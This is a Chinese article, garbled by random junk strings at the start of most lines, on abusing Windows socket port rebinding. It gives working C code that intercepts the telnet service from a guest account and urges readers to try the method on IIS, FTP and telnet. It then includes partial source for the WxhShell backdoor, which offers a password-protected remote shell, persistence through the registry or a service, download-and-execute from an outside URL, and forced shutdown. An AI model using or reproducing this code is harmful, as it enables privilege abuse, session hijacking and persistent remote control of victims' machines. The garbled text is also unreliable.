在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/F(n%8)Yq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6N5(DD 1 <+aF, saddr.sin_family = AF_INET;
vv{+p(~**O 4KnBb_w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zB~< @ Y:t?W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:zLf~W T<?kH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FO:L+&hr?> ^\?Rh(pu 这意味着什么?意味着可以进行如下的攻击:
#kq!{5, *kg->J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
DL1nD5 L\E>5G; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
V
K 7 c@3 5\!9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[|=M<>?[ yNP4Ey 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
V-n{=8s RLB"}&SF] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"QxULiw \y]K]iv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R_KD Y e5P9P%1w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ipbhjK$ z[v4(pO6 #include
^MF 2Q+ #include
L\:m)g,F. #include
Ez5t)l- #include
iaeNY;T DWORD WINAPI ClientThread(LPVOID lpParam);
fs&$?mHL){ int main()
-P/DmSS8V {
Q47R`" WORD wVersionRequested;
J
3C^tV DWORD ret;
RO,TNS~ WSADATA wsaData;
7Y(Dg`8G BOOL val;
\&;y:4&l8 SOCKADDR_IN saddr;
jTIG#J) SOCKADDR_IN scaddr;
~$5XiY8A int err;
*qy \%A SOCKET s;
9n{Y6I
x: SOCKET sc;
+KIz#uqF8Z int caddsize;
X~0-W Bz HANDLE mt;
_#:7S
sJ DWORD tid;
OB$Jv<C@ wVersionRequested = MAKEWORD( 2, 2 );
pTwzVz~ err = WSAStartup( wVersionRequested, &wsaData );
Pd"c*n&9 if ( err != 0 ) {
a'?;;ZC- printf("error!WSAStartup failed!\n");
a(]&H
" return -1;
pka^7OWyN }
cr{yy :D saddr.sin_family = AF_INET;
4A6Y
\Z XI sA|SOAn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T :d+Qz\ xw
43P. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
R P<M saddr.sin_port = htons(23);
,#3Aaw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SYA~I-OYc {
?4/pE@RIy printf("error!socket failed!\n");
J'X}6Q return -1;
4J_HcatOB }
`y.4FA4"8 val = TRUE;
xsj,l@Ey //SO_REUSEADDR选项就是可以实现端口重绑定的
K6p\ >J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
nsU7cLf"^V {
m[v0mXE printf("error!setsockopt failed!\n");
klT?h[I! return -1;
`D~oY= }
f^B8!EY#: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*af\U3kx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G&{yM2:E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p7;K] AW @gK`RmhGE5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@M4c/k} {
y1%OH#:duD ret=GetLastError();
|kPgXq6 printf("error!bind failed!\n");
|7c],SHm return -1;
-EP1Rl`\ }
M*gvYo listen(s,2);
_.; PLq~0 while(1)
Yp;Z+!!UZ {
scH61Y8` caddsize = sizeof(scaddr);
/g{*px| //接受连接请求
y,x 2f%x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MLHCBRi if(sc!=INVALID_SOCKET)
Sc>mw
{
'sUOi7U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
81{8F if(mt==NULL)
49=pB,H;H {
}={@_g# printf("Thread Creat Failed!\n");
hHJvLs>^ break;
k4LrUd }
Rh^@1{yr }
n!/0yR2S CloseHandle(mt);
Bam.B6- }
pJ/]\>#5 closesocket(s);
@e3+Gs WSACleanup();
{L7Pha
return 0;
>
UZ-['H }
k}fC58q DWORD WINAPI ClientThread(LPVOID lpParam)
Tty'ysH {
yO)xN=o^\ SOCKET ss = (SOCKET)lpParam;
}? / Blr SOCKET sc;
lz#.f,h unsigned char buf[4096];
7gf(5p5ZV SOCKADDR_IN saddr;
q=88*Y long num;
#ay/VlD@ DWORD val;
NgyEy n
\ DWORD ret;
^t4^gcoZ4Z //如果是隐藏端口应用的话,可以在此处加一些判断
'=E;^'Rl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V*\hGNV saddr.sin_family = AF_INET;
S}JOS}\^j saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
l}L81t7f saddr.sin_port = htons(23);
aH1CX<3)~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z)C/U {
md+pS"8o; printf("error!socket failed!\n");
yor'"6)i return -1;
<jV,VKL# }
QNx]8r val = 100;
}qECpKa0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6}E>B{Y {
yk?bz ret = GetLastError();
R%RbC!P return -1;
>JE+j= }
n/1t UF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ik(YJw'i7E {
gW~T{+f ret = GetLastError();
cgrSd99. return -1;
hE(R[hc }
g}<jn'@{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C`;igg$t_ {
0(-4"u>? printf("error!socket connect failed!\n");
CHKhJ v3+4 closesocket(sc);
8C*@d_=q closesocket(ss);
WBWW7 HK return -1;
]?=87w }
,1mL=|na
while(1)
O^~IY/[ {
yk4@@kHW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
c46-8z$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Qa=Y?=Za //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PSq?8. num = recv(ss,buf,4096,0);
Vt}QPNt if(num>0)
@h|qL-:!vG send(sc,buf,num,0);
L/:l>Ko>7 else if(num==0)
}X{rE|@ break;
%J-0%-/_S: num = recv(sc,buf,4096,0);
3F|p8zPS if(num>0)
>M2~p&Si send(ss,buf,num,0);
!}h)
| else if(num==0)
>S:(BJMo break;
Qz|T0\=V }
~7ZZb*].( closesocket(ss);
zG_n x3 closesocket(sc);
cQt&%SVT]E return 0 ;
~NK $rHwi% }
rlKR
<4H Y
]()v [M[#f&=Z ==========================================================
5T#v& 9DA|;| 下边附上一个代码,,WXhSHELL
P'8RaO&d A^z{n/DiL ==========================================================
Py
v> v>`Fo[c #include "stdafx.h"
4O-LLH [Kc ?<3W #include <stdio.h>
j<kW+Iio #include <string.h>
Am*IC?@tq #include <windows.h>
B%\&Q@X #include <winsock2.h>
_\\Al v. #include <winsvc.h>
]\^O(BzB #include <urlmon.h>
{BJ>x:2 ir}z^+ #pragma comment (lib, "Ws2_32.lib")
_ VuWo #pragma comment (lib, "urlmon.lib")
0V3dc+t)O W Csf_1 #define MAX_USER 100 // 最大客户端连接数
GrG'G(NQ #define BUF_SOCK 200 // sock buffer
gV.? Myy #define KEY_BUFF 255 // 输入 buffer
^o5;><S] 4x)vy-y #define REBOOT 0 // 重启
PI*@.kqR- #define SHUTDOWN 1 // 关机
MuD
? KK phH@{mI #define DEF_PORT 5000 // 监听端口
sA?8i:]O:
iKo2bC:.& #define REG_LEN 16 // 注册表键长度
iz-z?)% #define SVC_LEN 80 // NT服务名长度
^(:~8 h E:8*o7 // 从dll定义API
BmV`<Q, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8
*f9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5.VPK 338A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eaf-_#qb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]#G s6CsT| eAW)|=2 // wxhshell配置信息
:^kAFLU struct WSCFG {
5 I_ :7$8 int ws_port; // 监听端口
F 6sQeU char ws_passstr[REG_LEN]; // 口令
NC~?4F[ int ws_autoins; // 安装标记, 1=yes 0=no
"yQBHYP char ws_regname[REG_LEN]; // 注册表键名
[mv? \HDa~ char ws_svcname[REG_LEN]; // 服务名
9
3)fC char ws_svcdisp[SVC_LEN]; // 服务显示名
^Saf
z8-3o char ws_svcdesc[SVC_LEN]; // 服务描述信息
*4
LS`` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*>W<n1r@] int ws_downexe; // 下载执行标记, 1=yes 0=no
]|!|3lQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}iKjef#J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~B{08%|oK 7<WUjK| };
A2gFY} j?u1\<m // default Wxhshell configuration
3H!]X M struct WSCFG wscfg={DEF_PORT,
i_N8)Z;r "xuhuanlingzhe",
HFP'b=?`]| 1,
AI3x,rk# "Wxhshell",
;wMu "Wxhshell",
ZS+m}.,whQ "WxhShell Service",
8i[TeW" "Wrsky Windows CmdShell Service",
Kuh3.1#o "Please Input Your Password: ",
ZX&e,X~V 1,
pZS]i
" "
http://www.wrsky.com/wxhshell.exe",
-crMO57/ "Wxhshell.exe"
3r+c&^ };
3}\ z&| z` 6$p1U // 消息定义模块
PpFQoY7M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|v7Je?yh char *msg_ws_prompt="\n\r? for help\n\r#>";
Pi"?l[T0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8lx}0U char *msg_ws_ext="\n\rExit.";
6V$ )ym*F char *msg_ws_end="\n\rQuit.";
UY9*)pEE char *msg_ws_boot="\n\rReboot...";
1,=:an char *msg_ws_poff="\n\rShutdown...";
)zO|m7 char *msg_ws_down="\n\rSave to ";
8F>9CO:&N ?{ '_4n3O char *msg_ws_err="\n\rErr!";
^^}htg char *msg_ws_ok="\n\rOK!";
7NRa&W2 Zocuc"j char ExeFile[MAX_PATH];
XFoSGqD int nUser = 0;
J\+fkN<. HANDLE handles[MAX_USER];
h^rG5Q int OsIsNt;
@cIYS%iZ NB<8M!X/ SERVICE_STATUS serviceStatus;
?<4pYEP SERVICE_STATUS_HANDLE hServiceStatusHandle;
b * \
oQ U<&=pv // 函数声明
]a/dvj} int Install(void);
i45.2, int Uninstall(void);
gnZ#86sO int DownloadFile(char *sURL, SOCKET wsh);
J=Kv-@I>E int Boot(int flag);
Mw,]Pt6~i void HideProc(void);
%pjY ^tM/ int GetOsVer(void);
@,oc%m int Wxhshell(SOCKET wsl);
3q`f|r void TalkWithClient(void *cs);
MD$W;rk(Hn int CmdShell(SOCKET sock);
mRAt5a#is int StartFromService(void);
sT1k]duT int StartWxhshell(LPSTR lpCmdLine);
;R0LJApey j_,/U^Ws|f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XE_Lz2H` VOID WINAPI NTServiceHandler( DWORD fdwControl );
EXeV@kg #akJhy@m$ // 数据结构和表定义
Xbmsq,*] SERVICE_TABLE_ENTRY DispatchTable[] =
M{orw;1Isy {
O-7)"
{wscfg.ws_svcname, NTServiceMain},
TI8\qIW {NULL, NULL}
5yt= ~ };
i
Ehc< [ p,]/ ^ N // 自我安装
|e!Y
C iU int Install(void)
8Kl&_-l{b {
O9N!SQs80 char svExeFile[MAX_PATH];
Dn<3#V HKEY key;
~roNe|P strcpy(svExeFile,ExeFile);
)0E_Y@ 5D<Zbn.>q // 如果是win9x系统,修改注册表设为自启动
-cU bIbW if(!OsIsNt) {
*2/qm:gB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tt-ci,X+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MzB.Vvsy%9 RegCloseKey(key);
<LH6my if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r{?qvl!q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:4[>]&:u3 RegCloseKey(key);
[L-wAk:Fb return 0;
5q@s6_"{ }
7_3
PM
3C }
LkHH7Pd@ }
6@lZVM)E else {
VTR4uT- v(0ujfSR0 // 如果是NT以上系统,安装为系统服务
au19Q*r9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`0%;Gz%} if (schSCManager!=0)
:I"22EH {
TT9
\m=7 SC_HANDLE schService = CreateService
k;<@2C (
,Vj& schSCManager,
:55a9d1bL wscfg.ws_svcname,
S=S/]]e wscfg.ws_svcdisp,
!W,LG$=/ SERVICE_ALL_ACCESS,
-wH0g^Ed SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R#Yj%$E1 SERVICE_AUTO_START,
E4\HI+ SERVICE_ERROR_NORMAL,
lGK7XAx, svExeFile,
,)U%6=o#} NULL,
eQyc< NULL,
SN")u NULL,
^& *;]S` NULL,
Ar~<l2,{r NULL
d]K8*a%[- );
,Gbc4x if (schService!=0)
Ha]vG@?+ {
416}# Mk CloseServiceHandle(schService);
Pbbi*&i CloseServiceHandle(schSCManager);
=3% GLj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3%Q<K=jy strcat(svExeFile,wscfg.ws_svcname);
6&<QjO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ok)f5")N % RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/ho7~C+H*e RegCloseKey(key);
#X``^
return 0;
;2`t0#J$] }
W\0u[IV.x }
' xaPahx; CloseServiceHandle(schSCManager);
%j@/Tx/ }
*qL'WrB1 }
M`Wk@t6> q},,[t return 1;
T1RY1hb|g> }
9MJ:]F5+ .K-d // 自我卸载
7Q'u>o int Uninstall(void)
p;7wH\c {
L~h:>I+pG HKEY key;
7s%1?$B vMX\q
if(!OsIsNt) {
~mvv
:u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3rZPVR$)) RegDeleteValue(key,wscfg.ws_regname);
GNwFB)?j RegCloseKey(key);
/EQ^-4yr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!"/"Mqs3$ RegDeleteValue(key,wscfg.ws_regname);
Zw4%L? RegCloseKey(key);
pHoxw|'Y return 0;
FeZW S>N }
)#4(4
@R h }
v5 p`=Z@% }
N0$
uB" else {
z*b|N45O wZCboQ, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Fsq)co if (schSCManager!=0)
Jb9@U/<\ {
~ [/jk !G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
WC_U'nTu4 if (schService!=0)
AK'3N1l` {
m=COF$< if(DeleteService(schService)!=0) {
3qu?qD CloseServiceHandle(schService);
0S+$l CloseServiceHandle(schSCManager);
}9B}, return 0;
l| \ -d }
ettBque CloseServiceHandle(schService);
vd^Z^cpip }
XgUSJ* CloseServiceHandle(schSCManager);
{Z!t:'x8 }
1)~9Eku6K }
ow`F 7 9T$%^H9 return 1;
&.yX41R }
dpge:Qhr Zn*W2s^^{ // 从指定url下载文件
)eSQce7H int DownloadFile(char *sURL, SOCKET wsh)
dci,[TEGu {
hWn-[w/l_ HRESULT hr;
\%]lsml char seps[]= "/";
*\iXU//^) char *token;
.bV^u char *file;
Je^;[^ char myURL[MAX_PATH];
&F;bg char myFILE[MAX_PATH];
n^55G>"0|
{fEb> strcpy(myURL,sURL);
j~+(#| token=strtok(myURL,seps);
[*C~BM while(token!=NULL)
(B@\Dw8^ {
)VG>6x
file=token;
_~>WAm< token=strtok(NULL,seps);
}a UQ#x }
y'oH>l+n j+lcj&V# GetCurrentDirectory(MAX_PATH,myFILE);
r>KmrU4Q strcat(myFILE, "\\");
C!v%6[ strcat(myFILE, file);
BGH'&t_5 send(wsh,myFILE,strlen(myFILE),0);
KG(l=? N send(wsh,"...",3,0);
d}?KPJ{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PbxQ \. if(hr==S_OK)
-
?
i return 0;
z~2;u5S& else
0Nk!.gY return 1;
OYa9f[ $ |{%$x^KyJ }
*cXi*7|= s nNd7v.U6 // 系统电源模块
3:sx%Ci/2 int Boot(int flag)
@b5$WKPX {
Y@Ry
oJ HANDLE hToken;
t!FC) iY TOKEN_PRIVILEGES tkp;
.UN?Ak*R Gp?pSI,b.t if(OsIsNt) {
FKf2Q&2I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
x>4p6H{]0' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3RlNEc%) tkp.PrivilegeCount = 1;
lF7". tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
NUh%\{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NP!LBB)=Y if(flag==REBOOT) {
/
U~yYh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p]s)Xys return 0;
]}&HvrOld }
.M[t5I'\ else {
xA*6Z)Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
AS4oz:B return 0;
)T
slI }
v`qXb$YW }
5VVU%STP else {
>B$ IrM7J if(flag==REBOOT) {
I&&;a. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
MQ'=qR return 0;
B1Z; }
-" r4 else {
][ 8`}ki 1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(\
|Go-2G return 0;
rof9Rxxe- }
ME5M;bz( }
PyQ\O* G ,`]2'(@ return 1;
&g8